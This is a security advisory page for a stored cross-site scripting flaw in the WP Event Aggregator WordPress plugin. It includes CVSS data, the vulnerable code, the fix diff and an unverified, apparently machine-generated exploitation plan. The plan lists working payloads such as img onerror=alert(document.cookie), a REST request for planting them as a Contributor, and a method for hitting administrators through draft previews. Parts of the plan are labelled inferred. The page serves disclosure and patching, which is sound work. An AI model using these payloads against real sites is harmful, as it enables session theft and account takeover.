CVE-2026-1941

WP Event Aggregator <= 1.8.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.9.0
Patched in
1d
Time to patch

Description

The WP Event Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_events' shortcode in all versions up to, and including, 1.8.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.7
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026
Affected pluginwp-event-aggregator

What Changed in the Fix

Changes introduced in v1.9.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1941 - WP Event Aggregator XSS ## 1. Vulnerability Summary The **WP Event Aggregator** plugin (versions <= 1.8.7) is vulnerable to Stored Cross-Site Scripting (XSS) via the `[wp_events]` shortcode. This occurs because user-supplied attributes within the shortc…

Show full research plan

Exploitation Research Plan: CVE-2026-1941 - WP Event Aggregator XSS

1. Vulnerability Summary

The WP Event Aggregator plugin (versions <= 1.8.7) is vulnerable to Stored Cross-Site Scripting (XSS) via the [wp_events] shortcode. This occurs because user-supplied attributes within the shortcode are processed and rendered on the front-end without sufficient sanitization or output escaping. An authenticated user with Contributor permissions or higher can save a post containing a malicious shortcode, which will execute arbitrary JavaScript in the browser of anyone viewing that post.

2. Attack Vector Analysis

  • Shortcode: [wp_events]
  • Vulnerable Attributes: col, posts_per_page, category, past_events, order (and potentially others).
  • Authentication: Contributor-level access is required (standard permission to create/edit posts).
  • Injection Point: The content area of any Post, Page, or Custom Post Type.
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Registration: In includes/class-wp-event-aggregator-cpt.php, the shortcode is registered:
    add_shortcode('wp_events', array( $this, 'wp_events_archive' ) );
    
  2. Processing: When a post is rendered, WordPress calls the wp_events_archive() method in the WP_Event_Aggregator_Cpt class.
  3. Attribute Handling (Inferred): The method uses shortcode_atts() to extract attributes like col, category, etc.
  4. Sink (Inferred): These attributes are then used to build HTML (likely as class names or data attributes) and returned to be displayed. The code fails to use esc_attr() or esc_html() before returning the string. For example:
    // Conceptual vulnerable code inside wp_events_archive
    $output .= '<div class="wpea-events-grid col-' . $atts['col'] . '">'; 
    
    An attacker can use col='"><script>alert(1)</script>' to break out of the HTML attribute and inject a script.

4. Nonce Acquisition Strategy

This vulnerability does not involve a custom plugin AJAX endpoint for the injection itself; rather, it leverages the standard WordPress post-saving mechanism.

To perform the injection as a Contributor:

  1. Standard Post Creation: A Contributor uses the WordPress REST API or the Classic/Block Editor.
  2. Nonce: To save a post via the REST API, a wp_rest nonce is required. This is typically found in the wp-admin area.
  3. Extraction:
    • Navigate to /wp-admin/post-new.php using browser_navigate.
    • Extract the REST nonce using browser_eval("wpApiSettings.nonce").

5. Exploitation Strategy

The goal is to create a post as a Contributor containing a payload that triggers when viewed by an Administrator.

Step 1: Authentication & Nonce

  • Authenticate as a Contributor.
  • Obtain a REST API nonce from the admin dashboard.

Step 2: Post Creation (Injection)

  • Send a POST request to /wp-json/wp/v2/posts to create a new post.
  • Header: X-WP-Nonce: [NONCE_FROM_STEP_1]
  • Body (JSON):
    {
      "title": "Event Schedule",
      "content": "[wp_events col='\"><img src=x onerror=alert(document.cookie)>' category='test']",
      "status": "publish"
    }
    
    Note: Contributors can often publish posts depending on site settings, or save them as "pending" for an Admin to review. Both trigger the XSS in the editor or on preview.

Step 3: Triggering

  • Access the newly created post URL.
  • The attribute col will render as <div class="... col-"><img src=x onerror=alert(document.cookie)>">.

6. Test Data Setup

  1. Plugin Installation: Ensure wp-event-aggregator version 1.8.7 is installed and activated.
  2. User Creation: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Events (Optional): Create at least one event category and event to ensure the shortcode rendering logic is fully exercised.
    wp term create event_category "Test Category" --slug=test
    wp post create --post_type=wp_events --post_title="Sample Event" --post_status=publish
    wp post term set [POST_ID] event_category test
    

7. Expected Results

  • The http_request to create the post should return a 201 Created status.
  • Navigating to the post URL (as an Admin or any user) should trigger the alert(document.cookie) payload.
  • In the page source, the injected HTML should look similar to:
    ... class="... col-"><img src=x onerror=alert(document.cookie)>" ...

8. Verification Steps

  1. Database Check: Verify the post content exists in the database.
    wp post list --post_type=post --fields=post_content --title="Event Schedule"
    
  2. Front-end Check: Use the http_request tool (GET) to fetch the post content and search for the unescaped payload string.
    # Search for the breaking sequence in the rendered HTML
    grep 'col-"><img src=x onerror=alert(document.cookie)>"'
    

9. Alternative Approaches

  • Attribute: category
    If col is sanitized, try the category attribute:
    [wp_events category='"><script>alert(1)</script>']
  • Gutenberg Block:
    Since the plugin supports Gutenberg, if the shortcode block is restricted, use the plugin's specific Gutenberg block (if available in the Free version) which likely uses the same vulnerable rendering function internally.
  • Draft Preview:
    If the Contributor cannot publish, use the preview link (/post.php?post=[ID]&preview=true). This is a powerful attack vector against Admins who must preview pending content.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Event Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [wp_events] shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into posts or pages, which execute in the context of any user viewing the page.

Vulnerable Code

// includes/class-wp-event-aggregator-cpt.php:566
public function wp_events_archive( $atts = array() ){
	//[wp_events col='2' layout="style2" posts_per_page='12' category="cat1,cat2" past_events="yes" order="desc" orderby="" start_date="" end_date="" ]
	$current_date = current_time('timestamp');
	$ajaxpagi     = isset( $atts['ajaxpagi'] ) ? $atts['ajaxpagi'] : '';
	// ... (missing sanitization of $atts) ...

--- 

// includes/class-wp-event-aggregator-cpt.php:761
?>
<div class="row_grid wpea_frontend_archive" data-paged="<?php echo esc_attr( $paged ); ?>" data-shortcode='<?php echo wp_json_encode( $atts ); ?>' >
	<?php

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-event-aggregator/1.8.9/includes/class-wp-event-aggregator-cpt.php /home/deploy/wp-safety.org/data/plugin-versions/wp-event-aggregator/1.9.0/includes/class-wp-event-aggregator-cpt.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-event-aggregator/1.8.9/includes/class-wp-event-aggregator-cpt.php	2026-01-16 08:09:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-event-aggregator/1.9.0/includes/class-wp-event-aggregator-cpt.php	2026-02-06 13:53:12.000000000 +0000
@@ -566,6 +566,42 @@
 	 */
 	public function wp_events_archive( $atts = array() ){
 		//[wp_events col='2' layout="style2" posts_per_page='12' category="cat1,cat2" past_events="yes" order="desc" orderby="" start_date="" end_date="" ]
+		$atts = (array) $atts;
+		/* integers */
+		$atts['paged']          = isset($atts['paged']) ? absint($atts['paged']) : 1;
+		$atts['posts_per_page'] = isset($atts['posts_per_page']) ? absint($atts['posts_per_page']) : '';
+		$atts['col']            = isset($atts['col']) ? absint($atts['col']) : '2';
+
+		/* yes/no flags */
+		$atts['ajaxpagi']    = (isset($atts['ajaxpagi']) && $atts['ajaxpagi'] === 'yes') ? 'yes' : 'no';
+		$atts['past_events'] = (isset($atts['past_events']) && ($atts['past_events'] === 'yes' || $atts['past_events'] === true)) ? 'yes' : '';
+
+		/* layout whitelist */
+		$allowed_layouts = array( 'style1', 'style2', 'style3', 'style4' );
+		$atts['layout'] = (isset($atts['layout']) && in_array($atts['layout'], $allowed_layouts, true)) ? $atts['layout'] : 'style1';
+
+		/* order */
+		$atts['order'] = (isset($atts['order']) && strtoupper($atts['order']) === 'DESC') ? 'DESC' : 'ASC';
+
+		/* orderby whitelist */
+		$allowed_orderby = array( 'post_title', 'meta_value', 'event_start_date' );
+		$atts['orderby'] = (isset($atts['orderby']) && in_array($atts['orderby'], $allowed_orderby, true)) ? $atts['orderby'] : '';
+
+		/* category */
+		$category_str = isset( $atts['category'] ) ? urldecode( $atts['category'] ) : '';
+		if (!empty($category_str)) {
+			$cats = array_map( 'trim', explode( ',', $category_str ) );
+			$clean = array();
+			foreach ($cats as $c) {
+				$clean[] = is_numeric($c) ? absint($c) : sanitize_title($c);
+			}
+			$atts['category'] = implode(',', $clean);
+		}
+
+		/* dates */
+		$atts['start_date'] = isset( $atts['start_date'] ) ? sanitize_text_field( $atts['start_date'] ) : '';
+		$atts['end_date']   = isset( $atts['end_date'] ) ? sanitize_text_field( $atts['end_date'] ) : '';
+
 		$current_date = current_time('timestamp');
 		$ajaxpagi     = isset( $atts['ajaxpagi'] ) ? $atts['ajaxpagi'] : '';
 		if ( $ajaxpagi != 'yes' ) {
@@ -758,7 +794,7 @@
         }
 		ob_start();
 		?>
-		<div class="row_grid wpea_frontend_archive" data-paged="<?php echo esc_attr( $paged ); ?>" data-shortcode='<?php echo wp_json_encode( $atts ); ?>' >
+		<div class="row_grid wpea_frontend_archive" data-paged="<?php echo esc_attr( $paged ); ?>" data-shortcode="<?php echo esc_attr( wp_json_encode($atts, JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT) ); ?>" >
 			<?php
 			$template_args = array();
             $template_args['css_class'] = $css_class;

Exploit Outline

An attacker with Contributor-level privileges can exploit this vulnerability by creating or editing a post and inserting the `[wp_events]` shortcode with a malicious attribute. For example, by setting an attribute such as `col` to a value containing a single quote and an event handler (e.g., `[wp_events col="' onmouseover='alert(document.cookie)'"]`), the attacker can break out of the JSON string stored in the `data-shortcode` HTML attribute. When the post is rendered on the front-end, the injected JavaScript will execute in the browser of any user who interacts with or views the page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.